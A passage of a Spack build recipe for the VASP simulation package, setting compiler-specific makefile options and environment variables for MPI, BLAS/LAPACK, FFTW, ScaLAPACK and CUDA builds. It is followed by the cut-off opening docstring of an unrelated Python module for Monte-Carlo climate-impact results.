spec['qd'].prefix.include, make_include) filter_file('/opt/pgi/qd-2.3.17/install/lib', spec['qd'].prefix.lib, make_include) elif '%aocc' in spec: if '+openmp' in spec: copy( join_path('arch', 'makefile.include.linux_gnu_omp'), join_path('arch', 'makefile.include.linux_aocc_omp') ) make_include = join_path('arch', 'makefile.include.linux_aocc_omp') else: copy( join_path('arch', 'makefile.include.linux_gnu'), join_path('arch', 'makefile.include.linux_aocc') ) make_include = join_path('arch', 'makefile.include.linux_aocc') filter_file( 'gcc', '{0} {1}'.format(spack_cc, '-Mfree'), make_include, string=True ) filter_file('g++', spack_cxx, make_include, string=True) filter_file('^CFLAGS_LIB[ ]{0,}=.*$', 'CFLAGS_LIB = -O3', make_include) filter_file('^FFLAGS_LIB[ ]{0,}=.*$', 'FFLAGS_LIB = -O2', make_include) filter_file('^OFLAG[ ]{0,}=.*$', 'OFLAG = -O3', make_include) filter_file('^FC[ ]{0,}=.*$', 'FC = {0}'.format(spec['mpi'].mpifc), make_include, string=True) filter_file('^FCL[ ]{0,}=.*$', 'FCL = {0}'.format(spec['mpi'].mpifc), make_include, string=True) else: if '+openmp' in spec: make_include = join_path('arch', 'makefile.include.linux_{0}_omp'. format(spec.compiler.name)) else: make_include = join_path('arch', 'makefile.include.linux_' + spec.compiler.name) os.rename(make_include, 'makefile.include') # This bunch of 'filter_file()' is to make these options settable # as environment variables filter_file('^CPP_OPTIONS[ ]{0,}=[ ]{0,}', 'CPP_OPTIONS ?= ', 'makefile.include') filter_file('^FFLAGS[ ]{0,}=[ ]{0,}', 'FFLAGS ?= ', 'makefile.include') filter_file('^LIBDIR[ ]{0,}=.*$', '', 'makefile.include') filter_file('^BLAS[ ]{0,}=.*$', 'BLAS ?=', 'makefile.include') filter_file('^LAPACK[ ]{0,}=.*$', 'LAPACK ?=', 'makefile.include') filter_file('^FFTW[ ]{0,}?=.*$', 'FFTW ?=', 'makefile.include') filter_file('^MPI_INC[ ]{0,}=.*$', 'MPI_INC ?=', 'makefile.include') filter_file('-DscaLAPACK.*$\n', '', 'makefile.include') filter_file('^SCALAPACK[ ]{0,}=.*$', 'SCALAPACK ?=', 'makefile.include') if '+cuda' in spec: filter_file('^OBJECTS_GPU[ ]{0,}=.*$', 'OBJECTS_GPU ?=', 'makefile.include') filter_file('^CPP_GPU[ ]{0,}=.*$', 'CPP_GPU ?=', 'makefile.include') filter_file('^CFLAGS[ ]{0,}=.*$', 'CFLAGS ?=', 'makefile.include') if '+vaspsol' in spec: copy('VASPsol/src/solvation.F', 'src/') def setup_build_environment(self, spack_env): spec = self.spec cpp_options = ['-DMPI -DMPI_BLOCK=8000', '-Duse_collective', '-DCACHE_SIZE=4000', '-Davoidalloc', '-Duse_bse_te', '-Dtbdyn', '-Duse_shmem'] if '%nvhpc' in self.spec: cpp_options.extend(['-DHOST=\\""LinuxPGI\\""', '-DPGI16', '-Dqd_emulate']) elif '%aocc' in self.spec: cpp_options.extend(['-DHOST=\\""LinuxGNU\\""', '-Dfock_dblbuf']) if '+openmp' in self.spec: cpp_options.extend(['-D_OPENMP']) else: cpp_options.append('-DHOST=\\""LinuxGNU\\""') if self.spec.satisfies('@6:'): cpp_options.append('-Dvasp6') cflags = ['-fPIC', '-DADD_'] fflags = [] if '%gcc' in spec or '%intel' in spec: fflags.append('-w') elif '%nvhpc' in spec: fflags.extend(['-Mnoupcase', '-Mbackslash', '-Mlarge_arrays']) elif '%aocc' in spec: fflags.extend(['-fno-fortran-main', '-Mbackslash', '-ffast-math']) spack_env.set('BLAS', spec['blas'].libs.ld_flags) spack_env.set('LAPACK', spec['lapack'].libs.ld_flags) spack_env.set('FFTW', spec['fftw-api'].prefix) spack_env.set('MPI_INC', spec['mpi'].prefix.include) if '%nvhpc' in spec: spack_env.set('QD', spec['qd'].prefix) if '+scalapack' in spec: cpp_options.append('-DscaLAPACK') spack_env.set('SCALAPACK', spec['scalapack'].libs.ld_flags) if '+cuda' in spec: cpp_gpu = ['-DCUDA_GPU', '-DRPROMU_CPROJ_OVERLAP', '-DCUFFT_MIN=28', '-DUSE_PINNED_MEMORY'] objects_gpu = ['fftmpiw.o', 'fftmpi_map.o', 'fft3dlib.o', 'fftw3d_gpu.o', 'fftmpiw_gpu.o'] cflags.extend(['-DGPUSHMEM=300', '-DHAVE_CUBLAS']) spack_env.set('CUDA_ROOT', spec['cuda'].prefix) spack_env.set('CPP_GPU', ' '.join(cpp_gpu)) spack_env.set('OBJECTS_GPU', ' '.join(objects_gpu)) if '+vaspsol' in spec: cpp_options.append('-Dsol_compat') if spec.satisfies('%gcc@10:'): fflags.append('-fallow-argument-mismatch') # Finally spack_env.set('CPP_OPTIONS', ' '.join(cpp_options)) spack_env.set('CFLAGS', ' '.join(cflags)) spack_env.set('FFLAGS', ' '.join(fflags)) def build(self, spec, prefix): if '+cuda' in self.spec: make('gpu', 'gpu_ncl') else: make('std', 'gam', 'ncl') def install(self, spec, prefix): install_tree('bin/', prefix.bin) ",1 "ystem ################################################################################ """"""Software structure for generating Monte-Carlo collections of results. NOTE: Highest resolution regions are implicitly assumed to be FIPS-coded counties, but the logic does not require them to be. FIPS language should be replaced with generic ID references. A key structure is the make_generator(fips, times, values) function. make_generator is passed to the functions that iterate through different weather forecasts, such as make_tar_ncdf. It is then called with each location and daily weather data. fips is a single county code, times is a list of yyyyddd formated date values, values is a list of weather values. The output of make_generator() is a generator, producing tuples (year, effect), for whichever years an effect can be computed. Output file structure: Each bundle of output impact results of a given type and for a given weather forecast are in a gzipped tar file containing a single directory , containing a separate csv file (an effect file) for each region. The format of the csv file is: year,